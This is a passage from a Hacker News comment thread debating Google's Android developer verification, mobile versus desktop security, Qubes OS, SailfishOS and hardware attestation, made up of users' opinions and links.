The security argument is pretty straightforward and I guess you know it already, because as you say, TOTP is vulnerable to phishing (unless you use some of the anti-bot tech I mentioned elsewhere but it's heuristic and not really robust over the long term). Whereas if you do stuff via an app, not only can malware not authorize transactions, but it can't view your financial details either - privacy being a major plank of financial security that can't be reliably offered via desktop browsers at all, but can via phones.

The alternative you propose is basically a secure hypervisor. Such schemes have been implemented in the past, but it's not ideal technically. For fast payment authorization via NFC, this is actually how it works, which is why when you touch a phone to a terminal to pay for something you don't see any details of the transaction on the display itself, just an animation. The OS doesn't get involved in the transaction at all, it's all handled by the embedded credit card smartcard which is hard-wired to the NFC radio. The OS gets notified and can send configuration messages, but that's about it.

For anything more complex the parallel world still needs to be a full OS that boots up, have display drivers, have touchscreen drivers, text rendering, a network stack, a way to update that software, etc. You end up with a second copy of Android and dual booting, which makes memory pressure intolerable and the devices more expensive. But it's hard to justify that when the base phone OS has become secure enough! It's already multi-tasking and isolating worlds from each other. There are no users outside of HN/Slashdot who would find this arrangement preferable. And as your concern is not fully technical, it's not clear why moving the hardware enforcement around a bit from kernel supervisor to hypervisor would make any difference. This isn't something that can be analyzed technically as it all seems to boil down to fear over the loss of ad blocking.

2241. afterg+mSd[view] [source] 2025-08-29 23:00:04
>>kotaKa+(OP)
I’m sick of half-measures around getting off iOS and Android. If you’re an open-source app developer building for Android, please reconsider and put some of that energy into Sailfish.

You have the power to help turn a passionate subset of people away from Android, and now is the best time to do it. Instead of scattering effort into a dozen fragmented experiments, let’s rally around the best bet we have right now: SailfishOS. I'm not at all affiliated with Sailfish, just someone pissed off and am trying to point folks at the most mature alternative out there. I know it has its problems. I know there's even better alternatives that even less people use but seriously, rather than fragment the frustration around android right now, please, just try to rally around a serious legit alternative. We might actually make meaningful change here but it needs focus.

Intro for developers: https://docs.sailfishos.org/Develop/

Getting started guide: https://sailfishos.org/wiki/SailfishOS

Let’s push for something truly independent

◧◩◪◨⬒⬓⬔
2244. fsflov+vte[view] [source] [discussion] 2025-08-30 07:34:00
>>holler+a6e
You should just compare the number of CVEs. Qubes security is stronger even than the one of Xen used in servers: https://www.qubes-os.org/security/xsa/#statistics. Even Snowden uses Qubes.

No single app has access to any data thanks to hardware-assisted virtualization. Last time a VM escape in the modern Qubes implementation was discovered in 2006 by the Qubes founder: https://en.wikipedia.org/wiki/Blue_Pill_(software).

◧◩◪
2249. 1vuio0+Nhg[view] [source] [discussion] 2025-08-31 01:54:36
>>1vuio0+qF4
"Alas, no distinction is made between (a) a computer owner that wants to write software to run on their computer versus (b) an "app developer" who wants to write "mobile apps" and distribute then to others for financial gain."

I could be wrong:

https://developer.android.com/developer-verification

"For student and hobbyist developers

We're committed to keeping Android an open platform for you to learn, experiment, and build for fun. We recognize that your needs are different from commercial developers, so we're working on a separate type of Android Developer Console account for you. We'll share more information in the coming months."

Will "verification" also be required for "hobbyists", otherwise known as computer owners, or "ad targets" in Google's framing of the www. Who knows

Putting restrictions on distributing bad software ("malware") to others is one thing. It makes sense, But putting restrictions on computer owners ("hobbyists") who write, compile and run software on their own computers is another thing entirely

◧◩◪◨⬒⬓
2252. niutec+uXh[view] [source] [discussion] 2025-08-31 19:08:03
>>Gigach+KW3
Not necessarily: https://e.foundation/what-is-the-difference-between-free-sof...
◧◩◪◨⬒
2257. palata+Txj[view] [source] [discussion] 2025-09-01 12:24:30
>>termin+vv2
If they want to do it properly, they can use the Android hardware attestation:

https://grapheneos.org/articles/attestation-compatibility-gu...

◧◩◪◨⬒⬓
2269. cyphar+uHE[view] [source] [discussion] 2025-09-08 20:25:27
>>mhast+ua2
Unfortunately, this kind of thinking leads to insane situations such as the South Korean banking cartel which requires users to install several pieces of "security software"[1] which make your computer more vulnerable to security issues[2] and almost certainly doesn't protect anyone from actual fraud -- classic security theatre.

There needs to be a point where enough is enough, and locking down devices so that you cannot install programs nor practically use custom operating systems on them anymore is way past that line.

[1]: https://palant.info/2023/01/02/south-koreas-online-security-... [2]: https://ee.kaist.ac.kr/en/research-achieve/in-south-korea-ma...

[go to top]